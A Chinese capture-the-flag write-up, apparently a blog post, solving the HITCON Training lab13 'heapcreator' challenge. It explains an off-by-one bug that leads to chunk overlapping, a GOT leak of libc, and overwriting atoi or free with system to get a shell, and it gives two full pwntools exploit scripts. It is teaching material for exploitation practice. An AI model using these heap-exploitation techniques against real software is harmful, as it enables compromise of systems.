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依然是wiki上的例题，先提供二进制源码：hitcontraning_lab13

预览：

文件是64位，partial relro则可以改写got表，感觉就像是堆题（名字也叫heapcreator）。。。没有pie调试起来会方便很多。。。
然后放进ida64看一下大致功能。
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前言分析：

首先有两个setvbuf()设置好了标准输入和标准输出的缓冲区，所以程序不会在heap段设置chunk，然后打印一个菜单，之后就输
入一个字符串，然后通过atoi()函数将字符串转换成数字，（这里可以想到如果将atoi_got改为system_addr后，直接输

入 ‘/bin/sh\x00’就可以拿shell了），但是不幸的是他只可以输入4个字节。。。。但这一点后面能用上。

程序主要功能分析（寻找漏洞）：

首先有四个主功能：create()，edit()，delete()，show()，当我们看到有edit和show存在的时候，这一题多半不会难，因为这两个
函数为我们的泄露和篡改打下了基础，之后开始逐个分析。。

在create()中我们可以发现当输入size的时候调用atoi()的时候可以输入8个字符串！！！nice，我们的设想得到了成立！所以我们

的目标设为改写atoi_got为system_addr。



在edit()功能中发现了off-by-one漏洞，通过这个我们可以实现chunk overlapping。



show()则是正常的打印内容。

delete()函数知识正常将chunk放入Bins，然后将指针归零，没有uaf漏洞。

利用漏洞来实现功能：

leak:

1. 想要leak出libc，先考虑常用的泄露got表地址，因为show()功能是打印heap的content指针所指向的内容，所以想办法将
content指针改为atoi_got，然后再show就可以泄露出Libc。

2. 利用chunk overlapping来进行chunk的覆盖重叠，申请两个chunk，第一个chunk的作用是来改第二个heap结构体的大小
（可以设计好使其正好和top_chunk接轨就省去了nextchunk的prev_inuse检查，例如我是申请一个content大小为

0x10的chunk，然后将heap结构体的大小改为0x40），然后delete以后其会被放入对应的fastbin中，然后再申请与其大小对
应（0x30）的heap，使heap结构体0x10申请到的内存位于之前content位于的地方。这就形成了覆盖。（经典的与unlink类
似的，我改我自己形式，即通过漏洞利用使一个结构体中的一个指针指向自己地址前方的不远处，通过向那个地址

编辑内容来达到修改自己的目的。）如下图所示：



这就可以利用edit功能来改heap结构体的content指针。接着可以实现任意地址写的功能。

change:

1. 泄露出libc以后就可以获得system_addr，然后利用任意地址写的功能将atoi_got改为system_addr，然后就利用之前说的方
法来拿shell。

exp如下：

两种思路，只讲了第一种，第二种类似，只不过利用的是free(addr_’/bin/sh\x00’)：

#coding:utf-8

from pwn import *



from pwn import *

context(os='linux',arch='amd64')
#context.log_level = 'debug'

p = process('./heapcreator')
P = ELF('./heapcreator')
libc = ELF('./libc.so.6')
atoi_got=P.got['atoi']

#创建函数
def create(size,payload):
 p.recvuntil(':')
 p.sendline('1')
 p.recvuntil(': ')
 p.sendline(str(size))
 p.recvuntil(':')
 p.send(payload)

def edit(ID,payload):
 p.recvuntil(':')
 p.sendline('2')
 p.recvuntil(':')
 p.sendline(str(ID))
 p.recvuntil(': ')
 p.send(payload)

def show(ID):
 p.recvuntil(':')
 p.sendline('3')
 p.recvuntil(':')
 p.sendline(str(ID))

def delete(ID):
 p.recvuntil(':')
 p.sendline('4')
 p.recvuntil(':')
 p.sendline(str(ID))

payload='a'*0x18
create(0x18,payload)
payload='a'*0x10
create(0x10,payload)

payload='a'*0x18+p8(0x40)
edit(0,payload)

delete(1)

payload='a'*0x10 
create(0x30,payload)

#gdb.attach(p)
payload='a'*0x10+p64(0)+p64(0x21)+p64(0x30)+p64(atoi_got)
edit(1,payload)

#gdb.attach(p)
show(1)
p.recvuntil('Content : ')
atoi_addr = u64(p.recv(6).ljust(8,'\x00'))



atoi_addr = u64(p.recv(6).ljust(8,'\x00'))
log.success('atoi_addr=' + hex(atoi_addr))
#gdb.attach(p)
libcbase = atoi_addr - libc.symbols['atoi']
log.success('libcbase=' + hex(libcbase))
system_addr=libcbase + libc.symbols['system']

payload=p64(system_addr)
edit(1,payload)

p.recvuntil(':')
p.sendline('1')                                                                                               
p.recvuntil(': ')
p.sendline('/bin/sh\x00')

p.interactive()

#coding:utf-8

from pwn import *

context(os='linux',arch='amd64',timeout=1)

p = process('./heapcreator')
P = ELF('./heapcreator')
libc = ELF('./libc.so.6')
free_got=P.got['free']

#创建函数
def create(size,payload):
 p.recvuntil(':')
 p.sendline('1')
 p.recvuntil(': ')
 p.sendline(str(size))
 p.recvuntil(':')
 p.sendline(payload)

def edit(ID,payload):
 p.recvuntil(':')
 p.sendline('2')
 p.recvuntil(':')
 p.sendline(str(ID))
 p.recvuntil(': ')
 p.sendline(payload)

def show(ID):
 p.recvuntil(':')
 p.sendline('3')
 p.recvuntil(':')
 p.sendline(str(ID))

def delete(ID):
 p.recvuntil(':')
 p.sendline('4')
 p.recvuntil(':')
 p.sendline(str(ID))

#先创建两个堆块，让前面的off-by-one后面的
create(0x18,'a'*4)
create(0x10,'a'*4)



edit(0,'/bin/sh\x00'+'a'*0x10+'\x41')

#往fastbin送块
delete(1)

#再申请，使content覆盖heaparry[1]结构体的内容
create(0x30,p64(0)*4+p64(0x30)+p64(free_got))

#泄露libc
show(1)
p.recvuntil('Content : ')
free_addr=u64(p.recv()[0:6].ljust(8,'\x00'))
log.success('free_addr=' + hex(free_addr))
libcbase=free_addr-libc.symbols['free']
system_addr=libcbase+libc.symbols['system']

#将system_addr写入free_got里
edit(1,p64(system_addr))

delete(0)

p.interactive()

我第一次做的时候的一些心得：

hitconingtraining_lab13:

这一题难度不大，但是还是没有独立做出来，需要再独立处理一遍。

常见套路，申请书籍，然后用结构体储存书籍内容的指针和大小，结构体在堆上，书籍内容申请的空间也在堆上。

有edit和print功能说明不难，用edit向书籍的内容指针里任意写，所以想办法将内容指针改为free_got，再调用edit功能将其
内容改为system_addr。

然后想改书籍的内容指针则需要控制结构体堆块，溢出和chunk overlapping都可以，溢出找不到，则为后者。

利用off_by_one漏洞和fast_bin的机制，更改size of 第二本书结构体堆块，用第二本书的内容控制结构体堆块内容，更改其
为free_got，然后edit书籍二。

再考虑’/bin/sh’的位置，放在书籍一的内容里比较合适。system(addr_/bin/sh)，因为内容为/bin/sh所以free(ptr_des)的时候正
好为system(addr__ /bin/sh)。

创作打卡挑战赛 
赢取流量/现金/CSDN周边激励大奖


	hitcontraning_lab13_writeup
	预览：
	前言分析：
	程序主要功能分析（寻找漏洞）：
	利用漏洞来实现功能：
	leak:
	change:

	exp如下：
	我第一次做的时候的一些心得：
	hitconingtraining_lab13:



